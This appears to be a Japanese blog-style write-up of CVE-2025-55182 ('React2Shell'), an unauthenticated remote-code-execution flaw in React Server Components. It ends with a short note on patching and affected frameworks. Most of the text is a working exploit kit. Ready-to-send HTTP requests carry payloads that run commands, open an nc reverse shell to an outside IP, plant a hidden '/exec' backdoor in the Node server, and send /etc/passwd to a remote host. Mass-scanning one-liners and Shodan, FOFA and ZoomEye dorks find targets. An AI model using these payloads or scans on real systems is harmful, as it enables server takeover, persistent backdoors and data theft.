React2Shellとして知られるこの脆弱性は、2025年12月に発見され、CVSS 10.0 のスコアで next.js のコンポーネントに影響を与えます。単純なPOSTリクエストだけで、重大な未認証のRCEを達成することが可能です。以下は、この脆弱性の影響を受けるバージョンです。
影響を受けるバージョン ->
19.0, 19.1.0, 19.1.1, 19.2.0
CVE-2025-55182は、React Serverコンポーネントが受信したFlightプロトコルのペイロードを処理する方法における、本質的に安全でないデシリアライゼーションの脆弱性です。この脆弱性は、react-server-dom-webpack パッケージ内の requireModule 関数に存在します。例：
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
...
return moduleExports[metadata[2]]; // Vunl
}
以下は、このエクスプロイトのペイロードの例です。
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B9999\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('id');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
では、このペイロードを再現してみましょう。
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 1.1.1.1 4444 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
アプリの探索に使用できるペイロードの一覧を以下に示します。
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('id');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('http').get('http://10.0.9.224:8000/');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: 10.10.0.5:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 646
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('http').request({hostname:'10.0.9.224',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks": "$Q2","_formData":{"get":"$1:constructor:constructor"}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
cat alive.txt | httpx -silent -match-string "/_next/" -match-string "__NEXT_DATA__" | anew nextjs_targets.txt
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com -H "Next-Action: test" -H "Content-Type: text/plain" --data '0'
echo '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"7*7","_formData":{"get":"$1:constructor:constructor"}}}' > payload.json && echo '"$@0"' > trigger.txt
curl -X POST https://target.com -H "Next-Action: check" -F "[email protected]" -F "[email protected]" --max-time 5 -v 2>&1 | grep -iE "(49|error|stack|trace)"
subfinder -d target.com -silent | httpx -silent -match-string "/_next/" | tee nextjs.txt | xargs -I@ -P10 sh -c 'R=$(curl -s -w "\n%{http_code}" -X POST @ -H "Next-Action: x" --data "test" 2>/dev/null | tail -1); [ "$R" = "200" ] || [ "$R" = "400" ] && echo "[!] REACT2SHELL CANDIDATE: @"' | anew vuln_candidates.txt
http.component:"next.js,react"
https://www.shodan.io/search?query=http.component%3A%22next.js%2Creact%22
app="NEXT.JS" || app="React.js"
https://en.fofa.info/result?qbase64=YXBwPSJORVhULkpTIiB8fCBhcHA9IlJlYWN0LmpzIg%3D%3D
http.body="react.production.min.js" || http.body="React.createElement(" || app="React Router" || app="React.js"
https://www.zoomeye.ai/searchResult?q=aHR0cC5ib2R5PSJyZWFjdC5wcm9kdWN0aW9uLm1pbi5qcyIgfHwgaHR0cC5ib2R5PSJSZWFjdC5jcmVhdGVFbGVtZW50KCIgfHwgYXBwPSJSZWFjdCBSb3V0ZXIiIHx8IGFwcD0iUmVhY3QuanMi&utm_source=x&utm_medium=x&utm_campaign=x_React_25120401
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml
以下のバージョンでアプリケーションを修正してください。
react-server の実装をバンドルするフレームワークやライブラリは、影響を受ける可能性があります。これには以下が含まれますが、これらに限定されません：
* Next.js
* Vite RSC plugin
* Parcel RSC plugin
* React Router RSC preview
* RedwoodSDK
* Waku